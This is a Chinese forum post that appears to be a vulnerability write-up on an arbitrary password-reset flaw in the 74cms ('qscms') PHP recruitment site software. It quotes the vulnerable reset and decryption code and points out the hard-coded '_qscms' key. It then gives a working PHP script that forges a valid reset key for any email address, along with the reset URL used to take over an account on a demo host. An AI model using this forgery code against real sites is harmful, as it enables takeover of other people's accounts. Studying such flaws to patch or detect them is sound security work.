TA的每日心情 | 奋斗 2019-10-18 11:20 |
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签到天数: 678 天 [LV.9]以坛为家II
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这个任意用户密码修改比较垃圾,随便讲一下
- public function user_setpass(){
- if(IS_POST){
- $retrievePassword = session('retrievePassword');
- if($retrievePassword['token'] != I('post.token','','trim')) $this->error('非法参数!');
- $user['password']=I('post.password','','trim,badword');
- !$user['password'] && $this->error('请输入新密码!');
- if($user['password'] != I('post.password1','','trim,badword')) $this->error('两次输入密码不相同,请重新输入!');
- $passport = $this->_user_server();
- if(false === $uid = $passport->edit($retrievePassword['uid'],$user)) $this->error($passport->get_error());
- $tpl = 'user_setpass_sucess';
- session('retrievePassword',null);
- }else{
- parse_str(decrypt(I('get.key','','trim')),$data);
- !fieldRegex($data['e'],'email') && $this->error('找回密码失败,邮箱格式错误!','user_getpass');
- $end_time=$data['t']+24*3600;
- if($end_time<time()) $this->error('找回密码失败,链接过期!','user_getpass');
- $key_str=substr(md5($data['e'].$data['t']),8,16);
- if($key_str!=$data['k']) $this->error('找回密码失败,key错误!','user_getpass');
- if(!$uid = M('Members')->where(array('email'=>$data['e']))->getfield('uid')) $this->error('找回密码失败,帐号不存在!','user_getpass');
- $token=substr(md5(mt_rand(100000, 999999)), 8,16);
- session('retrievePassword',array('uid'=>$uid,'token'=>$token));
- $this->assign('token',$token);
- }
- $this->_config_seo(array('title'=>'找回密码 - '.C('qscms_site_name')));
- $this->display($tpl);
- }
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这里解密是用的decrypt函数,进去看一下:
- function decrypt($txt, $key = '_qscms') {
- $txt = passport_key(base64_decode($txt), $key);
- $tmp = '';
- for ($i = 0; $i < strlen($txt); $i++) {
- $tmp .= $txt[$i] ^ $txt[++$i];
- }
- return $tmp;
- }
- function passport_key($txt, $encrypt_key) {
- $encrypt_key = md5($encrypt_key);
- $ctr = 0;
- $tmp = '';
- for($i = 0; $i < strlen($txt); $i++) {
- $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
- }
- return $tmp;
- }
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默认密钥位_qscms,而且写死了,调用时没有传入。
所以,这里存在任意用户密码修改漏洞。
编写如下生成代码:
- <?php
- function encrypt($txt, $key = '_qscms') {
- srand((double)microtime() * 1000000);
- $encrypt_key = md5(rand(0, 32000));
- $ctr = 0;
- $tmp = '';
- for($i = 0; $i < strlen($txt); $i++) {
- $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- }
- return base64_encode(passport_key($tmp, $key));
- }
- function passport_key($txt, $encrypt_key) {
- $encrypt_key = md5($encrypt_key);
- $ctr = 0;
- $tmp = '';
- for($i = 0; $i < strlen($txt); $i++) {
- $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
- }
- return $tmp;
- }
-
- $email='example@xxx.com';
- echo urlencode(encrypt(http_build_query(['e'=>$email, 'k'=>substr(md5($email.'9487070991'),8,16),'t'=>'9487070991'])));
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获取key并替换到url中,可见这里直接可以修改用户example@xxx.com的密码了:
http://demo1.xxx.com//index.php?m=&c=members&a=user_setpass&key=$key
修改密码成功:
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